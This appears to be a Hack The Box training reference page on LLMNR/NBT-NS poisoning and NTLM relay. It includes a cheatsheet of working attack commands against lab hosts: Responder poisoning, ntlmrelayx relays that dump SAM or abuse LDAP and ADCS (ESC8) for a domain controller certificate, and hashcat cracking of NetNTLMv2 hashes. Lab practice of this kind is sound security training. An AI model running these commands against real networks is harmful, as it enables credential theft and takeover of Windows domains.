LLMNR/NBT-NS Poisoning and SMB Relay
Sub-technique of T1557 Adversary-in-the-Middle ↗
Answering name lookups or capturing NTLM authentications to crack them or relay them to another service.
How it shows up on Hack The Box
On HTB it is usually Responder listening while you force the victim to connect to your IP. If the NetNTLMv2 hash will not crack, relay it to unsigned SMB, LDAP or ADCS.
Techniques in our catalog that match this one (the number is their machines):
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
- Cross-Site Scripting (XSS)
- CSRF
- SQL injection
- SSRF
- Saved credentials / DPAPI
- ADCS (certificates)
- NTLM capture and relay
- Pass-the-hash / ticket
- Password spraying and valid users
- Credentials in files
- Internal services and port forwarding
- SAM/LSA/LSASS dumping
- ACL abuse (BloodHound)
- GPP and GPO abuse
- Hash cracking
Guides
- NTLM capture and relay: Responder, ntlmrelayx and coercion with PetitPotam 4 min read Capture NetNTLMv2 hashes with Responder, learn when they can be relayed (SMB signing, LDAP, ADCS), use ntlmrelayx and coerce auth with PetitPotam.
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
Your values
Saved in this browser and applied to every cheatsheet.
Active Directory in depth › NTLM relay
Hosts without required SMB signing
Attacker
nxc smb 10.10.11.20/24 --gen-relay-list relay_targets.txt
Relay to SMB to dump SAM
Attacker
impacket-ntlmrelayx -tf relay_targets.txt -smb2support
Relay to LDAP for delegation or shadow credentials
Attacker
impacket-ntlmrelayx -t ldaps://dc01.box.htb --delegate-access --no-dump --no-da
Relay to the CA (ESC8) for a machine cert
Attacker
impacket-ntlmrelayx -t http://ca.box.htb/certsrv/certfnsh.asp -smb2support --adcs --template DomainControllerHashcat › Most used modes
NetNTLMv2 (Responder)
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txtResponder › Capturing hashes
Listen on the VPN interface
sudo responder -I tun0
Observe only, without poisoning
sudo responder -I tun0 -A
Turn off SMB and HTTP to relay with ntlmrelayx
sudo sed -i 's/^SMB = On/SMB = Off/; s/^HTTP = On/HTTP = Off/' /etc/responder/Responder.confNo command matches.